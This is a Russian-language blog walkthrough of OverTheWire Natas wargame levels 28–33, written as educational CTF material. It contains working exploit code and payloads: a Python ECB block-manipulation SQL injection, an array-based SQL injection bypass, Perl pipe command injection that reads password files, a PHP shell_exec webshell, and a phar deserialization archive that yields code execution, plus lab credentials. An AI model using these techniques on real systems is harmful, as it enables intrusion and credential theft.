- PVSM.RU - https://www.pvsm.ru -
В данной статье мы разберемся с эксплуатацией некоторых WEB-узвимостей на примере прохождения варгейма Natas [1]. Каждый уровень имеет доступ к паролю следующего уровня. Все пароли также хранятся в файлах /etc/natas_webpass/. Например, пароль для natas5 хранится в файле /etc/natas_webpass/natas5 и доступен для чтения только для пользователей natas4 и natas5.
Прошлые части: часть 1 [2], часть 2 [3], часть 3 [4] и часть 4 [5].
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram [6] и группу для обсуждения любых вопросов [7] в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем [8].
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Отправив любой запрос, видим переадресацию на другую страницу со странным запросом и кодировке base64, декодирование которого ничего не дает.
Отправим любой запрос в query. Получаем ошибку, по которой становится понятно, что при переадресации используется шифрование и на данной странице запрос расшифровывается перед тем, как передается в БД. То есть нам необходимо Зашифровать нашу иньекцию и отпаравить на сервер, но мы не знаем ключа. Зато у нас есть Шифратор — это и есть сервер.
Для начала разберемсся с шифрованием. Отправим две разные строки «qwerty» и «asdfgh» и проанализируем, как они будут преобразованы.
В ответ мы получаем идентичные строки, которые в определенном месте имеют отличительную последовательность. Так как начало и конец у двух ШТ (шифр текст) одинаковые, то можно сделать следующие выводы:
Идея следующая: запрос к БД посылаем на шифрование, но он будет преобразован и поэтому при расшифровании, иньекция не будет проходить. Необходимо разобраться с дополнениями, чтобы точно расчитать блоки, где будет зашифрована именно наша полезная нагрузка. Тогда после шифрования, мы заберем из запроса наши блоки и отправим на сервер только их. На сервере они будут расшифрованы и, так как они без дополнения, – выполнены.
Идея представлена на четырех изображениях:
Таким обрахом мы получили только нашу зашифрованную строку на неизвестном нам ключе!!!
Необходимые данные:
Необходимо выяснить длину начального заполнения. Так как первые два блока одинаковы, мы будем посылать разное количество символов, и как только третий блок перестанет меняться, мы найдем необходимо количество символов, чтобы его дополнить. Это 10 символов. Ниже представлена реализация вышеупомянутого алгоритма.
import base64
import requests
from urlparse import urlsplit
from urllib2 import unquote
def ChiperQuery(url, auth, query):
resp = requests.post(url, auth=auth, data={'query': query})
query_param = unquote(urlsplit(resp.url)[3][6:])
byte_decode_query = bytearray(base64.b64decode(query_param))
return byte_decode_query
def SendPayload(url, auth, payload):
enc_payload = base64.b64encode(bytes(payload))
ret = requests.get(url + '/search.php', auth=auth, params={'query': enc_payload})
return ret.text
url = "http://natas28.natas.labs.overthewire.org/"
auth = requests.auth.HTTPBasicAuth("natas28", "JWwR438wkgTsNKBbcJoowyysdM82YjeF")
query = "SELECT password AS joke FROM users"
query += " " * (16-len(query)%16)
plaintext = 'b'*10 + query + chr(16)*16
chip_query = ChiperQuery(url, auth, plaintext)
st_pos = len(query)
count = st_pos+16
result = SendPayload(url, auth, chip_query[st_pos:st_pos+count])
print(result)
Получаем пароль.
Сложно догадаться, что perl код вызывает функцию командной строки и передает в нее комады указанные в данных файл (которые есть возможность выбирать). Дело в том, что мы можем замкнуть конвеер из «exec | команда_чтения файл_с_командами» в «exec | команда_чтения | наша_команда_сmd».
Но дело в том, что наша команда будет выводиться в консоль, а не на сайт. Для этого нужно добавить следующую команду замены символов в потоках ввода/вывода: «| tr `до` `после`».
Так как команда выполнилась прочитаем из указанного файла пароль. Но нам говорят, что мы не можем этого сделать…
Воспользуемся фильтрацие командной строки и вставим в любых местах кавычки, которые при выполнении команды сотрутся.
Забираем пароль.
Просмотрим исходный код. Здесь используется метод quote(), который экранирует все специальные символы в строке. Но он экранирует именно в строке, что дает нам право на эксплуатацию иньекции, если бы мы использовали, к примеру — массив (при этом будет принят нулевой элемент).
Давайте придумаем нагрузку для запроса
Select * FROM users where username = 'username' and password = 'password';
Так как имя пользователя мы знаем — natas31, то в пароль внедряем верное условие: '' or 1. Тогда наш запрос станет таким
Select * FROM users where username = 'natas31' and password = '' or 1;
А теперь осталось послать массив.
import requests
url = "http://natas30.natas.labs.overthewire.org/index.pl"
s = requests.Session()
s.auth = ('natas30', 'wie9iexae0Daihohv8vuu3cei9wahf0e')
args = { "username": "natas31", "password": ["'' or 1", 2] }
r = s.post(url, data=args)
print(r.text)
Забираем пароль.
Сразу становится понятна суть сервиса: из csv файла мы получим таблицу в html.
Посмотрим исходный код.
И так, что самое интересное: так это строка while(<$file>), при том что file — это строка из параметра. Таким образом есть возможность выполнить код.
Отправим любой csv файл и перехватим запрос в Burp Suite.
Теперь допишем команду в качестве параметра.
?/bin/cat%20/etc/natas_webpass/natas32%20|
Для вызова нагрузки из параметра добавим следующие строки:
-----------------------------716973545450730846281908502
Content-Disposition: form-data; name="file";
Content-Type: text/csv
ARGV
Получаем пароль.
Открываем страницу, где нам говорят, что нужно доказать выполнение кода и выполнить файл webroot.
Если посмотреть код, он точно такой же как и на прошлом уровне. Тогда эксплуатируем уязвимость как в прошлый раз. Давайте найдем файл webroot. Для этого просмотрим дирректорию, используя в качестве нагрузки: ls -la |
Получаем список файлов. Webroot там нет, но есть странная программа getpassword.
Выполняем ее.
Получаем пароль для последнего уровня.
Снова форма загрузки файлов.
Просмотрим исходный код.
Таким образом мы должны загрузить на сервер файл, размером до 4 Мб и если md5 от содержимого файла равно эталонному значению, он выполнится в интерпретаторе php. Смотрим далее. Мы можем контролировать имя файла и его содержимое.
Скажу сразу, что это сложная уязвимость, с которой я познакомился пол года назад. Она направлена на то, что мы можем загрузить на сервер файл любого типа и с его содержимым будут произведены какие-либо операции. О phar файлах написано тут [10]. Если кратко, то специальный архив php, представляющий собой сериализованные данные. При этом чтение потока phar приведет к исполнению кода. Таким образом можно сериализоваьб код, и отправить серверу. При вычислении md5 будет прочитан поток — что приведет к исполнению кода.
Таким образом сначала создадим php файл, который прочитает флаг.
<?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>
Загрузим его на сервер. Не забываем менять имя в Burp Suite.
Получаем ответ сервера… Ок. Теперь создадим phar архив, который при выполнении изменит нужные нам значения(хеш всегда юудет верен и имя файла, который уже был загружен на сервер). Так мы пройдем проверку и сервер выполнит shell.php.
<?php
class Shell {
private $filename = "shell.php";
private $signature = True;
private $init = false;
}
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->addFromString("123.txt", '123');
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$s = new Shell();
$phar->setMetadata($s);
$phar->stopBuffering();
?>
Перед компилирование в файле /etc/php/x.x/php.ini нужно изменить параметр phar.readonly на Off.
Далее выполняем php shell.php и у нас появляется файл .phar. Отправляем его на сервер и изменяем имя.
Так у нас есть оба файла это архив и шелл. Теперь нужно вызвать чтение файла из архива, что и приведет к исполнению кода.
Получаем пароль.
Вот такой была площадка Natas. Вы можете присоединиться к нам в Telegram [6].
Автор: RalfHacker
Источник [11]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/328477
Ссылки в тексте:
[1] Natas: http://overthewire.org/wargames/natas/
[2] часть 1: https://habr.com/ru/post/464111/
[3] часть 2: https://habr.com/ru/post/464443/
[4] часть 3: https://habr.com/ru/post/464729/
[5] часть 4: https://habr.com/ru/post/464863/
[6] канал в Telegram: https://t.me/RalfHackerChannel
[7] группу для обсуждения любых вопросов: https://t.me/RalfHackerPublicChat
[8] рассмотрю лично и отвечу всем: https://t.me/hackerralf8
[9] ECB: https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B6%D0%B8%D0%BC_%D1%8D%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BD%D0%BD%D0%BE%D0%B9_%D0%BA%D0%BE%D0%B4%D0%BE%D0%B2%D0%BE%D0%B9_%D0%BA%D0%BD%D0%B8%D0%B3%D0%B8
[10] тут: https://habr.com/ru/post/118269/
[11] Источник: https://habr.com/ru/post/465363/?utm_campaign=465363&utm_source=habrahabr&utm_medium=rss
Нажмите здесь для печати.